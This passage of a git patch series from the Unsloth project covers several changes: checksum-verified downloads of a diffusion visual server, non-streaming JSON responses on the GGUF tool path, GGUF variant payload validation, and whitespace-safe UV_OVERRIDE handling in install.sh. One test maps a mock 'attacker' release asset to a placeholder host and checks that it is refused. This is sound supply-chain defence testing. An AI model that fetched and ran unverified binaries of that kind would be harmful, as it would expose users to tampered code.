 write_prebuilt_metadata = INSTALL_LLAMA_PREBUILT.write_prebuilt_metadata
 existing_install_matches_plan = INSTALL_LLAMA_PREBUILT.existing_install_matches_plan
 existing_install_matches_choice = INSTALL_LLAMA_PREBUILT.existing_install_matches_choice
+ensure_diffusion_visual_server = INSTALL_LLAMA_PREBUILT.ensure_diffusion_visual_server
+
+
+def linux_host() -> HostInfo:
+    return HostInfo(
+        system = "Linux",
+        machine = "x86_64",
+        is_windows = False,
+        is_linux = True,
+        is_macos = False,
+        is_x86_64 = True,
+        is_arm64 = False,
+        nvidia_smi = None,
+        driver_cuda_version = None,
+        compute_caps = [],
+        visible_cuda_devices = None,
+        has_physical_nvidia = False,
+        has_usable_nvidia = False,
+    )
+
+
+def approved_release_checksums_for_asset(asset_name: str, sha256: str) -> ApprovedReleaseChecksums:
+    return ApprovedReleaseChecksums(
+        repo = "unslothai/llama.cpp",
+        release_tag = "b9334",
+        upstream_tag = "b9334",
+        artifacts = {
+            asset_name: ApprovedArtifactHash(
+                asset_name = asset_name,
+                sha256 = sha256,
+                repo = "unslothai/llama.cpp",
+                kind = "diffusion-visual-server",
+            )
+        },
+    )
 
 
 def approved_checksums_for(
@@ -2828,3 +2863,87 @@ def test_validate_prebuilt_choice_approved_validation_runs_when_flag_enabled(tmp
     monkeypatch.setattr(INSTALL_LLAMA_PREBUILT, "_RUN_STAGED_PREBUILT_VALIDATION", True)
     calls = _run_validate_prebuilt_choice(monkeypatch, tmp_path, expected_sha256 = "ab" * 32)
     assert calls == {"quantize": 1, "server": 1}
+
+
+def test_diffusion_visual_server_uses_approved_checksum_download(monkeypatch, tmp_path: Path):
+    asset_name = "llama-diffusion-gemma-visual-server-linux-x64"
+    expected_sha = "a" * 64
+    asset_url = "https://github.com/unslothai/llama.cpp/releases/download/b9334/" + asset_name
+    calls: list[tuple[str, Path, str | None, str | None]] = []
+
+    monkeypatch.setattr(
+        INSTALL_LLAMA_PREBUILT,
+        "github_release_assets",
+        lambda repo, tag: {asset_name: asset_url},
+    )
+
+    def fake_download_file(url, destination):
+        raise AssertionError("diffusion visual server must not use unverified download_file")
+
+    def fake_download_file_verified(url, destination, *, expected_sha256, label):
+        calls.append((url, Path(destination), expected_sha256, label))
+        Path(destination).write_bytes(b"verified visual server")
+
+    monkeypatch.setattr(INSTALL_LLAMA_PREBUILT, "download_file", fake_download_file)
+    monkeypatch.setattr(
+        INSTALL_LLAMA_PREBUILT, "download_file_verified", fake_download_file_verified
+    )
+
+    ensure_diffusion_visual_server(
+        tmp_path / "install",
+        linux_host(),
+        "b9334",
+        approved_release_checksums_for_asset(asset_name, expected_sha),
+    )
+
+    target = tmp_path / "install" / "build" / "bin" / "llama-diffusion-gemma-visual-server"
+    assert calls == [
+        (
+            asset_url,
+            target,
+            expected_sha,
+            f"diffusion visual server {asset_name}",
+        )
+    ]
+    assert target.read_bytes() == b"verified visual server"
+    assert target.stat().st_mode & 0o777 == 0o755
+
+
+def test_diffusion_visual_server_refuses_unapproved_release_asset(monkeypatch, tmp_path: Path):
+    asset_name = "llama-diffusion-gemma-visual-server-attacker-linux"
+    verified_calls: list[str] = []
+    raw_calls: list[str] = []
+
+    monkeypatch.setattr(
+        INSTALL_LLAMA_PREBUILT,
+        "github_release_assets",
+        lambda repo, tag: {asset_name: "https://example.test/" + asset_name},
+    )
+
+    def fake_download_file(url, destination):
+        raw_calls.append(url)
+
+    def fake_download_file_verified(url, destination, *, expected_sha256, label):
+        verified_calls.append(url)
+
+    monkeypatch.setattr(INSTALL_LLAMA_PREBUILT, "download_file", fake_download_file)
+    monkeypatch.setattr(
+        INSTALL_LLAMA_PREBUILT, "download_file_verified", fake_download_file_verified
+    )
+
+    ensure_diffusion_visual_server(
+        tmp_path / "install",
+        linux_host(),
+        "b9334",
+        ApprovedReleaseChecksums(
+            repo = "unslothai/llama.cpp",
+            release_tag = "b9334",
+            upstream_tag = "b9334",
+            artifacts = {},
+        ),
+    )
+
+    target = tmp_path / "install" / "build" / "bin" / "llama-diffusion-gemma-visual-server"
+    assert not target.exists()
+    assert raw_calls == []
+    assert verified_calls == []

From ab6c9ecfee545869d56cc6eddd1babc3f7f36fba Mon Sep 17 00:00:00 2001
From: oobabooga <oobabooga4@gmail.com>
Date: Wed, 24 Jun 2026 11:37:08 -0300
Subject: [PATCH 100/306] Studio: honor `stream=false` on the GGUF agentic tool
 path (#6570) (#6618)

* Studio: honor stream=false on the GGUF agentic tool path (#6570)

* Studio: dedup the #6570 non-streaming tool tests and cover cached_tokens

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: cover the cached_tokens metadata fix and clarify the drain comment (#6570)

* Studio: align the GGUF tool drain naming and tighten its comment (#6570)

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Lee Jackson <130007945+Imagineer99@users.noreply.github.com>
---
 studio/backend/core/inference/llama_cpp.py    |  15 +-
 studio/backend/routes/inference.py            | 126 ++++++++++++-
 .../tests/test_gguf_tool_non_streaming.py     | 172 ++++++++++++++++++
 .../backend/tests/test_llama_cpp_tool_loop.py |  77 ++++++++
 .../tests/test_openai_tool_passthrough.py     |   2 +
 5 files changed, 378 insertions(+), 14 deletions(-)
 create mode 100644 studio/backend/tests/test_gguf_tool_non_streaming.py

diff --git a/studio/backend/core/inference/llama_cpp.py b/studio/backend/core/inference/llama_cpp.py
index 9c22db4fec..152a3f19b2 100644
--- a/studio/backend/core/inference/llama_cpp.py
+++ b/studio/backend/core/inference/llama_cpp.py
@@ -7881,13 +7881,18 @@ class LlamaCppBackend:
                     _mt["predicted_per_second"] = _mt["predicted_n"] / (
                         _mt["predicted_ms"] / 1000.0
                     )
+            _usage = {
+                "prompt_tokens": _fp,
+                "completion_tokens": _tc,
+                "total_tokens": _fp + _tc,
+            }
+            # Preserve KV-cache hit details (cached_tokens) so the tool path
+            # reports them like the standard non-tool path does, not always 0.
+            if _fu.get("prompt_tokens_details"):
+                _usage["prompt_tokens_details"] = _fu["prompt_tokens_details"]
             return {
                 "type": "metadata",
-                "usage": {
-                    "prompt_tokens": _fp,
-                    "completion_tokens": _tc,
-                    "total_tokens": _fp + _tc,
-                },
+                "usage": _usage,
                 "timings": _mt,
                 "finish_reason": finish_reason,
             }
diff --git a/studio/backend/routes/inference.py b/studio/backend/routes/inference.py
index 2e2c38933e..8b0981cd2b 100644
--- a/studio/backend/routes/inference.py
+++ b/studio/backend/routes/inference.py
@@ -5425,15 +5425,123 @@ async def openai_chat_completions(
                             pass
                     _tracker.__exit__(None, None, None)
 
-            return _SameTaskStreamingResponse(
-                gguf_tool_stream(),
-                media_type = "text/event-stream",
-                headers = {
-                    "Cache-Control": "no-cache",
-                    "Connection": "close",
-                    "X-Accel-Buffering": "no",
-                },
-            )
+            if payload.stream:
+                return _SameTaskStreamingResponse(
+                    gguf_tool_stream(),
+                    media_type = "text/event-stream",
+                    headers = {
+                        "Cache-Control": "no-cache",
+                        "Connection": "close",
+                        "X-Accel-Buffering": "no",
+                    },
+                )
+
+            # Non-streaming JSON: drain the agentic generator into one
+            # ChatCompletion, like the standard GGUF `else` branch. stream:false
+            # with tools enabled used to return an SSE body, breaking
+            # non-streaming clients; `unsloth studio run --model` forces tools on
+            # process-wide, so plain requests reach this path (#6570).
+            def _drain_gguf_tool_loop():
+                full_text = ""
+                usage = None
+                finish = None
+                gen = gguf_generate_with_tools()
+                try:
+                    for event in gen:
+                        if cancel_event.is_set():
+                            break
+                        if event.get("type") == "metadata":
+                            usage = event.get("usage")
+                            finish = event.get("finish_reason")
+                        elif event.get("type") == "content":
+                            # Content is cumulative within a turn and resets
+                            # between turns, so the last event holds the final
+                            # turn's text. As in the safetensors drain, a visible
+                            # preamble emitted before a tool call (its own earlier
+                            # turn) isn't carried -- only the final turn is.
+                            full_text = _strip_tool_xml_for_display(
+                                event.get("text", ""),
+                                auto_heal_tool_calls = _gguf_auto_heal_tool_calls,
+                            )
+                    return full_text, usage, finish
+                finally:
+                    # Close the generator on early break/cancel so the underlying
+                    # llama-server stream socket is released, like the SSE path.
+                    try:
+                        gen.close()
+                    except (RuntimeError, ValueError):
+                        pass
+
+            try:
+                full_text, completion_usage, completion_finish = await asyncio.to_thread(
+                    _drain_gguf_tool_loop
+                )
+                reasoning_text, visible_text = _extract_responses_reasoning(
+                    full_text,
+                    parse_think_markers = _responses_should_parse_think_markers(
+                        payload, llama_backend
+                    ),
+                )
+                message_kwargs = {"content": visible_text}
+                if reasoning_text:
+                    message_kwargs["reasoning_content"] = reasoning_text
+                _usage = completion_usage or {}
+                _prompt_tokens = _usage.get("prompt_tokens") or 0
+                _completion_tokens = _usage.get("completion_tokens") or 0
+                response = ChatCompletion(
+                    id = completion_id,
+                    created = created,
+                    model = model_name,
+                    choices = [
+                        CompletionChoice(
+                            message = CompletionMessage(**message_kwargs),
+                            finish_reason = _clamp_finish_reason(completion_finish),
+                        )
+                    ],
+                    usage = CompletionUsage(
+                        prompt_tokens = _prompt_tokens,
+                        completion_tokens = _completion_tokens,
+                        total_tokens = _prompt_tokens + _completion_tokens,
+                        prompt_tokens_details = _prompt_tokens_details(
+                            _usage.get("prompt_tokens_details")
+                        ),
+                    ),
+                )
+                api_monitor.set_reply(monitor_id, visible_text)
+                _monitor_usage(
+                    monitor_id,
+                    {
+                        "prompt_tokens": _prompt_tokens,
+                        "completion_tokens": _completion_tokens,
+                        "total_tokens": _prompt_tokens + _completion_tokens,
+                    },
+                    _monitor_context_length(),
+                )
+                api_monitor.finish(
+                    monitor_id, "cancelled" if cancel_event.is_set() else "completed"
+                )
+                return _model_json_response(response)
+            except Exception as e:
+                logger.error(f"Error during GGUF tool completion: {e}", exc_info = True)
+                api_monitor.fail(monitor_id, _friendly_error(e))
+                # Recover if an MTP+tensor crash killed the server.
+                get_llama_cpp_backend()._maybe_recover_from_mtp_crash(e)
+                # An over-context prompt makes llama-server return 400; map any
+                # upstream 4xx to a 400 client error rather than leaking a 500.
+                _cls = _classify_llama_generation_error(e)
+                if _cls is not None:
+                    raise HTTPException(
+                        status_code = 400,
+                        detail = openai_error_body(
+                            _friendly_error(e),
+                            status = 400,
+                            code = "context_length_exceeded" if _cls else None,
+                            param = "messages",
+                        ),
+                    )
+                raise HTTPException(status_code = 500, detail = safe_error_detail(e))
+            finally:
+                _tracker.__exit__(None, None, None)
 
         # ── Standard GGUF path (no tools) ─────────────────────
 
diff --git a/studio/backend/tests/test_gguf_tool_non_streaming.py b/studio/backend/tests/test_gguf_tool_non_streaming.py
new file mode 100644
index 0000000000..d9044824cb
--- /dev/null
+++ b/studio/backend/tests/test_gguf_tool_non_streaming.py
@@ -0,0 +1,172 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Regression tests for `stream:false` on the GGUF agentic tool path (#6570).
+
+When server-side tools are enabled (e.g. `unsloth studio run --model ...`,
+which forces the tool policy on process-wide), a plain chat request used to be
+routed into the tool loop, which returned an SSE body *regardless* of
+`stream:false` -- breaking non-streaming clients and health checks like
+LiteLLM. These tests drive the real route with a fake tool-capable backend and
+assert the non-streaming path now returns a single JSON `chat.completion`,
+while `stream:true` still streams.
+"""
+
+from fastapi import FastAPI
+from fastapi.testclient import TestClient
+
+from auth.authentication import get_current_subject
+import routes.inference as inference_route
+
+
+class _ToolGgufBackend:
+    is_loaded = True
+    model_identifier = "test/model.gguf"
+    _is_audio = False
+    is_vision = False
+    supports_tools = True
+
+    def generate_chat_completion_with_tools(self, **kwargs):
+        # The agentic loop runs one tool, then the model answers. Event shapes
+        # mirror the real GGUF loop (tool_start/tool_end/content/metadata).
+        yield {
+            "type": "tool_start",
+            "tool_name": "python",
+            "tool_call_id": "call_1",
+            "arguments": {"code": "print(6 * 7)"},
+        }
+        yield {
+            "type": "tool_end",
+            "tool_name": "python",
+            "tool_call_id": "call_1",
+            "result": "42\n",
+        }
+        yield {"type": "content", "text": "The answer is 42."}
+        yield {
+            "type": "metadata",
+            "usage": {"prompt_tokens": 11, "completion_tokens": 5, "total_tokens": 16},
+            "timings": {"prompt_n": 11, "predicted_n": 5},
+            "finish_reason": "stop",
+        }
+
+
+def _client(monkeypatch, backend = None):
+    monkeypatch.setattr(
+        inference_route, "get_llama_cpp_backend", lambda: backend or _ToolGgufBackend()
+    )
+    # Tools forced on -- the same effect as the CLI `run --model` tool policy.
+    monkeypatch.setattr(inference_route, "_effective_enable_tools", lambda payload: True)
+
+    async def _fake_select(payload, **_kwargs):
+        return [{"type": "function", "function": {"name": "python"}}]
+
+    monkeypatch.setattr(inference_route, "_select_request_tools", _fake_select)
+
+    app = FastAPI()
+    app.include_router(inference_route.router)
+    app.dependency_overrides[get_current_subject] = lambda: "test-user"
+    return TestClient(app)
+
+
+def _payload(stream: bool):
+    return {
+        "messages": [{"role": "user", "content": "What is 6 * 7? Use python."}],
+        "stream": stream,
+        "enable_tools": True,
+    }
+
+
+def test_non_streaming_tool_call_returns_single_json(monkeypatch):
+    response = _client(monkeypatch).post("/chat/completions", json = _payload(stream = False))
+
+    assert response.status_code == 200
+    # The bug returned text/event-stream here; it must be a single JSON object.
+    assert response.headers["content-type"].startswith("application/json")
+
+    body = response.json()
+    assert body["object"] == "chat.completion"
+    choice = body["choices"][0]
+    assert choice["message"]["content"] == "The answer is 42."
+    assert choice["finish_reason"] == "stop"
+    assert body["usage"]["prompt_tokens"] == 11
+    assert body["usage"]["completion_tokens"] == 5
+    assert body["usage"]["total_tokens"] == 16
+
+
+def test_streaming_tool_call_still_streams(monkeypatch):
+    # The parallel path is untouched: stream:true keeps returning SSE.
+    response = _client(monkeypatch).post("/chat/completions", json = _payload(stream = True))
+
+    assert response.status_code == 200
+    assert response.headers["content-type"].startswith("text/event-stream")
+    assert "The answer is 42." in response.text
+    assert "data: [DONE]" in response.text
+
+
+class _EventsBackend(_ToolGgufBackend):
+    """Tool backend that yields a caller-supplied event list."""
+
+    def __init__(self, events):
+        self._events = events
+
+    def generate_chat_completion_with_tools(self, **kwargs):
+        yield from self._events
+
+
+def test_non_streaming_missing_usage_defaults_to_zero(monkeypatch):
+    # No metadata event at all: usage zero-defaults and finish_reason falls back.
+    events = [{"type": "content", "text": "hi"}]
+    response = _client(monkeypatch, _EventsBackend(events)).post(
+        "/chat/completions", json = _payload(stream = False)
+    )
+
+    assert response.status_code == 200
+    body = response.json()
+    assert body["choices"][0]["message"]["content"] == "hi"
+    assert body["choices"][0]["finish_reason"] == "stop"
+    assert body["usage"]["prompt_tokens"] == 0
+    assert body["usage"]["completion_tokens"] == 0
+    assert body["usage"]["total_tokens"] == 0
+
+
+def test_non_streaming_preserves_length_finish_reason(monkeypatch):
+    events = [
+        {"type": "content", "text": "truncated"},
+        {
+            "type": "metadata",
+            "usage": {"prompt_tokens": 3, "completion_tokens": 9},
+            "finish_reason": "length",
+        },
+    ]
+    response = _client(monkeypatch, _EventsBackend(events)).post(
+        "/chat/completions", json = _payload(stream = False)
+    )
+
+    assert response.status_code == 200
+    body = response.json()
+    assert body["choices"][0]["finish_reason"] == "length"
+    # total_tokens is derived when the server omits it.
+    assert body["usage"]["total_tokens"] == 12
+
+
+def test_non_streaming_preserves_cached_tokens(monkeypatch):
+    # KV-cache hit details from the metadata event must survive into the body
+    # (the tool path used to drop them and always report cached_tokens=0).
+    events = [
+        {"type": "content", "text": "hi"},
+        {
+            "type": "metadata",
+            "usage": {
+                "prompt_tokens": 20,
+                "completion_tokens": 4,
+                "prompt_tokens_details": {"cached_tokens": 16},
+            },
+            "finish_reason": "stop",
+        },
+    ]
+    response = _client(monkeypatch, _EventsBackend(events)).post(
+        "/chat/completions", json = _payload(stream = False)
+    )
+
+    assert response.status_code == 200
+    assert response.json()["usage"]["prompt_tokens_details"]["cached_tokens"] == 16
diff --git a/studio/backend/tests/test_llama_cpp_tool_loop.py b/studio/backend/tests/test_llama_cpp_tool_loop.py
index 56e028bd5a..05d2a0b80a 100644
--- a/studio/backend/tests/test_llama_cpp_tool_loop.py
+++ b/studio/backend/tests/test_llama_cpp_tool_loop.py
@@ -1736,3 +1736,80 @@ def test_empty_tool_call_id_does_not_emit_provisional_card(monkeypatch):
     assert provisional == []
     # The real call still executes despite the missing id.
     assert calls == [("python", {"code": big_code})]
+
+
+def _usage_done(usage: dict, finish_reason: str = "stop") -> str:
+    """A terminal SSE chunk carrying llama-server's ``usage`` block, the way the
+    real server reports it on the final chunk of a completion."""
+    return (
+        "data: "
+        + json.dumps(
+            {
+                "choices": [{"index": 0, "delta": {}, "finish_reason": finish_reason}],
+                "usage": usage,
+            }
+        )
+        + "\n"
+    )
+
+
+def test_metadata_event_preserves_prompt_tokens_details(monkeypatch):
+    """The tool loop's metadata event must carry llama-server's
+    ``prompt_tokens_details`` (KV-cache hits) through ``_build_metadata_event``,
+    so the route reports real ``cached_tokens`` instead of always 0 (#6570).
+
+    This drives the *real* generator; the route-level test feeds a pre-built
+    metadata event and so never exercises this code.
+    """
+    stream = [
+        _sse({"content": "The answer is 42."}),
+        _usage_done(
+            {
+                "prompt_tokens": 20,
+                "completion_tokens": 4,
+                "prompt_tokens_details": {"cached_tokens": 16},
+            }
+        ),
+        _done(),
+    ]
+    payloads: list[dict] = []
+    backend = _make_backend(monkeypatch, [stream], payloads)
+
+    events = list(
+        backend.generate_chat_completion_with_tools(
+            messages = [{"role": "user", "content": "hi"}],
+            tools = [],
+            max_tool_iterations = 1,
+        )
+    )
+
+    metadata = [e for e in events if e.get("type") == "metadata"]
+    assert metadata, "expected a metadata event"
+    usage = metadata[-1]["usage"]
+    assert usage["prompt_tokens_details"] == {"cached_tokens": 16}
+    assert usage["prompt_tokens"] == 20
+    assert usage["completion_tokens"] == 4
+
+
+def test_metadata_event_omits_prompt_tokens_details_when_absent(monkeypatch):
+    """No KV-cache block from the server -> the key isn't fabricated, so the
+    route falls back to its 0-default instead of reading a bogus value."""
+    stream = [
+        _sse({"content": "hi"}),
+        _usage_done({"prompt_tokens": 5, "completion_tokens": 2}),
+        _done(),
+    ]
+    payloads: list[dict] = []
+    backend = _make_backend(monkeypatch, [stream], payloads)
+
+    events = list(
+        backend.generate_chat_completion_with_tools(
+            messages = [{"role": "user", "content": "hi"}],
+            tools = [],
+            max_tool_iterations = 1,
+        )
+    )
+
+    metadata = [e for e in events if e.get("type") == "metadata"]
+    assert metadata, "expected a metadata event"
+    assert "prompt_tokens_details" not in metadata[-1]["usage"]
diff --git a/studio/backend/tests/test_openai_tool_passthrough.py b/studio/backend/tests/test_openai_tool_passthrough.py
index aaef9e4dcc..aa36c6fed4 100644
--- a/studio/backend/tests/test_openai_tool_passthrough.py
+++ b/studio/backend/tests/test_openai_tool_passthrough.py
@@ -1349,6 +1349,7 @@ class TestGgufVisionToolRouting:
             model = "default",
             enable_tools = True,
             enabled_tools = ["web_search"],
+            stream = True,
             messages = [
                 {
                     "role": "user",
@@ -1408,6 +1409,7 @@ class TestGgufVisionToolRouting:
             enable_tools = True,
             enabled_tools = ["web_search"],
             parallel_tool_calls = False,
+            stream = True,
             messages = [{"role": "user", "content": "search once"}],
         )
 

From a3954edd15e4a03b584d60940173b99c17f45922 Mon Sep 17 00:00:00 2001
From: Long Yixing <longyixing331@gmail.com>
Date: Wed, 24 Jun 2026 22:39:20 +0800
Subject: [PATCH 101/306] Fix Studio GGUF variant expansion crash (#6636)

* fix: handle empty GGUF variants

* fix: gate local GGUF expansion

* fix: normalize GGUF variant payload

---------

Co-authored-by: Lee Jackson <130007945+Imagineer99@users.noreply.github.com>
---
 .../assistant-ui/model-selector/pickers.tsx   | 83 +++++++++++++++----
 1 file changed, 68 insertions(+), 15 deletions(-)

diff --git a/studio/frontend/src/components/assistant-ui/model-selector/pickers.tsx b/studio/frontend/src/components/assistant-ui/model-selector/pickers.tsx
index 90c1c04106..386f233c7b 100644
--- a/studio/frontend/src/components/assistant-ui/model-selector/pickers.tsx
+++ b/studio/frontend/src/components/assistant-ui/model-selector/pickers.tsx
@@ -570,6 +570,52 @@ function ModelRow({
 
 // ── GGUF Variant Expander ────────────────────────────────────
 
+function isValidGgufVariant(variant: unknown): variant is GgufVariantDetail {
+  if (!variant || typeof variant !== "object") return false;
+  const candidate = variant as Partial<GgufVariantDetail>;
+  return (
+    typeof candidate.filename === "string" &&
+    candidate.filename.length > 0 &&
+    typeof candidate.quant === "string" &&
+    candidate.quant.length > 0 &&
+    typeof candidate.size_bytes === "number" &&
+    Number.isFinite(candidate.size_bytes) &&
+    candidate.size_bytes >= 0 &&
+    (candidate.downloaded === undefined ||
+      typeof candidate.downloaded === "boolean")
+  );
+}
+
+function normalizeGgufVariantsResponse(res: {
+  variants?: unknown;
+  default_variant?: unknown;
+  has_vision?: unknown;
+  context_length?: unknown;
+} | null | undefined): {
+  variants: GgufVariantDetail[];
+  defaultVariant: string | null;
+  hasVision: boolean;
+  contextLength: number | null;
+} {
+  const contextLength = res?.context_length;
+  return {
+    variants: (Array.isArray(res?.variants) ? res.variants : []).filter(
+      isValidGgufVariant,
+    ),
+    defaultVariant:
+      typeof res?.default_variant === "string" && res.default_variant.length > 0
+        ? res.default_variant
+        : null,
+    hasVision: res?.has_vision === true,
+    contextLength:
+      typeof contextLength === "number" &&
+      Number.isFinite(contextLength) &&
+      contextLength >= 0
+        ? contextLength
+        : null,
+  };
+}
+
 function GgufVariantExpander({
   repoId,
   onSelect,
@@ -622,11 +668,12 @@ function GgufVariantExpander({
     listGgufVariants(repoId)
       .then((res) => {
         if (canceled) return;
-        setVariants(res.variants);
-        setDefaultVariant(res.default_variant);
-        setHasVision(res.has_vision);
-        onHasVision?.(res.has_vision);
-        setNativeContext(res.context_length ?? null);
+        const normalized = normalizeGgufVariantsResponse(res);
+        setVariants(normalized.variants);
+        setDefaultVariant(normalized.defaultVariant);
+        setHasVision(normalized.hasVision);
+        onHasVision?.(normalized.hasVision);
+        setNativeContext(normalized.contextLength);
       })
       .catch((err) => {
         if (canceled) return;
@@ -694,19 +741,25 @@ function GgufVariantExpander({
   // If the recommended variant is OOM, pick the largest fitting one;
   // if all are OOM, recommend the smallest.
   const effectiveRecommended = useMemo(() => {
-    if (!variants || totalBudgetGb <= 0) return defaultVariant;
+    if (!variants || variants.length === 0 || totalBudgetGb <= 0) {
+      return defaultVariant;
+    }
     const defaultV = variants.find((v) => v.quant === defaultVariant);
     if (defaultV && getGgufFit(defaultV.size_bytes) !== "oom")
       return defaultVariant;
     // Largest non-OOM variant (best quality that fits)
-    const fitting = variants.filter((v) => getGgufFit(v.size_bytes) !== "oom");
+    const fitting = variants.filter(
+      (v) => getGgufFit(v.size_bytes) !== "oom",
+    );
     if (fitting.length > 0) {
       fitting.sort((a, b) => b.size_bytes - a.size_bytes);
       return fitting[0].quant;
     }
     // All OOM -- recommend smallest (most likely to partially run)
-    const sorted = [...variants].sort((a, b) => a.size_bytes - b.size_bytes);
-    return sorted[0].quant;
+    const sorted = [...variants].sort(
+      (a, b) => a.size_bytes - b.size_bytes,
+    );
+    return sorted[0]?.quant ?? defaultVariant;
   }, [variants, defaultVariant, totalBudgetGb, getGgufFit]);
 
   const sortedVariants = useMemo(() => {
@@ -2901,7 +2954,7 @@ export function HubModelPicker({
                               }
                             }}
                             onArrowDownIntoChildren={
-                              isGgufExpanded(m.id)
+                              isGguf && !isDirectGguf && isGgufExpanded(m.id)
                                 ? () => {
                                     const focused =
                                       focusFirstChildOption(optionKey);
@@ -2911,7 +2964,7 @@ export function HubModelPicker({
                             }
                             vramStatus={null}
                           />
-                          {isGgufExpanded(m.id) && (
+                          {isGguf && !isDirectGguf && isGgufExpanded(m.id) && (
                             <GgufVariantExpander
                               repoId={m.id}
                               onDevice={true}
@@ -2988,7 +3041,7 @@ export function HubModelPicker({
                               }
                             }}
                             onArrowDownIntoChildren={
-                              !isGgufFile && isGgufExpanded(m.id)
+                              isGguf && !isGgufFile && isGgufExpanded(m.id)
                                 ? () => {
                                     const focused =
                                       focusFirstChildOption(optionKey);
@@ -2998,7 +3051,7 @@ export function HubModelPicker({
                             }
                             vramStatus={null}
                           />
-                          {!isGgufFile && isGgufExpanded(m.id) && (
+                          {isGguf && !isGgufFile && isGgufExpanded(m.id) && (
                             <GgufVariantExpander
                               repoId={m.id}
                               onDevice={true}
@@ -3069,13 +3122,13 @@ export function HubModelPicker({
                               }
                             }}
                             onArrowDownIntoChildren={
-                              !isGgufFile && isGgufExpanded(m.id)
+                              isGguf && !isGgufFile && isGgufExpanded(m.id)
                                 ? () => focusFirstChildOption(optionKey)
                                 : undefined
                             }
                             vramStatus={null}
                           />
-                          {!isGgufFile && isGgufExpanded(m.id) && (
+                          {isGguf && !isGgufFile && isGgufExpanded(m.id) && (
                             <GgufVariantExpander
                               repoId={m.id}
                               onDevice={true}

From f436d204f611bef9921931c0515cdbed8e61c2dd Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Wed, 24 Jun 2026 17:34:18 -0700
Subject: [PATCH 102/306] Installer: make UV_OVERRIDE space-safe on Apple
 Silicon (#6503) (#6639)

* Installer: make UV_OVERRIDE space-safe on Apple Silicon (#6503)

On Apple Silicon, install.sh exports UV_OVERRIDE pointing at the bundled
overrides-darwin-arm64.txt. uv splits UV_OVERRIDE on whitespace, so a repo
cloned under a path containing a space (e.g. /Users/me/Open Source/unsloth)
truncates the value and every later uv call aborts with
'error: File not found: <truncated>' (the PyTorch install step in #6503).

Copy the overrides file into a space-free temp dir and point uv at the copy
when the path contains a space, mirroring the macOS/Linux handling already
merged for the Python installer in #6534. The temp dir is removed in the
exit trap, and the code falls back to the original path when no space-free
temp dir is available, so the no-space and non-macOS paths are unchanged.

Adds tests/sh/test_install_uv_override_space.sh, which extracts and runs the
install.sh hardening block and checks the spaced, no-space, and
spaced-TMPDIR fallback cases.

* Installer: match all whitespace (not just spaces) in UV_OVERRIDE handling

uv splits UV_OVERRIDE on any whitespace, so use the POSIX class
*[[:space:]]* rather than a literal space in install.sh (catches tabs and
newlines in the path too) and the matching test assertions. Use the portable
awk bracket expression [$] instead of \$ in the extraction so the test runs
the same under BSD awk (macOS) and GNU awk (Linux). Adds a tab-in-path case.

* Installer: clear _UV_OVERRIDE_TMPDIR before the exit trap

The exit trap rm -rf's _UV_OVERRIDE_TMPDIR. Initialize it to empty before
registering the trap so an inherited environment value can never be removed;
only a temp dir this script creates (Apple Silicon, spaced path) is cleaned.
Adds a structural test asserting the init precedes the trap.

* Run the install.sh UV_OVERRIDE space test in CI via a pytest wrapper

The Shell installer tests job uses a fixed script list (not tests/run_all.sh),
so the new shell test would not run on PRs. Add a pytest wrapper under
tests/python/ that invokes it; the auto-discovered repo CPU test job collects
tests/python/ and so executes the Apple Silicon spaced-path regression.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
---
 install.sh                                    |  23 ++++
 .../python/test_install_uv_override_space.py  |  31 +++++
 tests/run_all.sh                              |   1 +
 tests/sh/test_install_uv_override_space.sh    | 112 ++++++++++++++++++
 4 files changed, 167 insertions(+)
 create mode 100644 tests/python/test_install_uv_override_space.py
 create mode 100755 tests/sh/test_install_uv_override_space.sh

diff --git a/install.sh b/install.sh
index b3eaa61003..548e6f702a 100755
--- a/install.sh
+++ b/install.sh
@@ -447,8 +447,12 @@ _on_install_exit() {
     if [ "$_status" -ne 0 ]; then
         _restore_studio_venv_replacement
     fi
+    [ -n "${_UV_OVERRIDE_TMPDIR:-}" ] && rm -rf "$_UV_OVERRIDE_TMPDIR" 2>/dev/null || true
     exit "$_status"
 }
+# Empty so an inherited value can never reach the trap's rm; only a temp dir
+# this script creates below (Apple Silicon, spaced path) is ever removed.
+_UV_OVERRIDE_TMPDIR=""
 trap _on_install_exit EXIT
 
 # ── Helper: download a URL to a file (supports curl and wget) ──
@@ -1427,6 +1431,25 @@ fi
 if [ "$OS" = "macos" ] && [ "$_ARCH" = "arm64" ]; then
     _OVERRIDES_FILE="$(cd "$(dirname "$0" 2>/dev/null || echo ".")" && pwd)/studio/backend/requirements/single-env/overrides-darwin-arm64.txt"
     if [ -f "$_OVERRIDES_FILE" ]; then
+        # uv splits UV_OVERRIDE on whitespace, so a repo path with whitespace
+        # truncates it and aborts every later uv call (issue #6503). Hand uv a copy.
+        case "$_OVERRIDES_FILE" in
+            *[[:space:]]*)
+                _UV_OVERRIDE_TMPDIR=$(mktemp -d 2>/dev/null) || _UV_OVERRIDE_TMPDIR=""
+                case "$_UV_OVERRIDE_TMPDIR" in
+                    "") ;;
+                    *[[:space:]]*) rm -rf "$_UV_OVERRIDE_TMPDIR" 2>/dev/null || true; _UV_OVERRIDE_TMPDIR="" ;;
+                    *)
+                        if cp "$_OVERRIDES_FILE" "$_UV_OVERRIDE_TMPDIR/overrides-darwin-arm64.txt" 2>/dev/null; then
+                            _OVERRIDES_FILE="$_UV_OVERRIDE_TMPDIR/overrides-darwin-arm64.txt"
+                        else
+                            rm -rf "$_UV_OVERRIDE_TMPDIR" 2>/dev/null || true
+                            _UV_OVERRIDE_TMPDIR=""
+                        fi
+                        ;;
+                esac
+                ;;
+        esac
         export UV_OVERRIDE="$_OVERRIDES_FILE"
     fi
 fi
diff --git a/tests/python/test_install_uv_override_space.py b/tests/python/test_install_uv_override_space.py
new file mode 100644
index 0000000000..86d918b043
--- /dev/null
+++ b/tests/python/test_install_uv_override_space.py
@@ -0,0 +1,31 @@
+"""Run the install.sh UV_OVERRIDE space-safety shell test (issue #6503) under
+pytest, so the auto-discovered CPU test job executes it. The dedicated
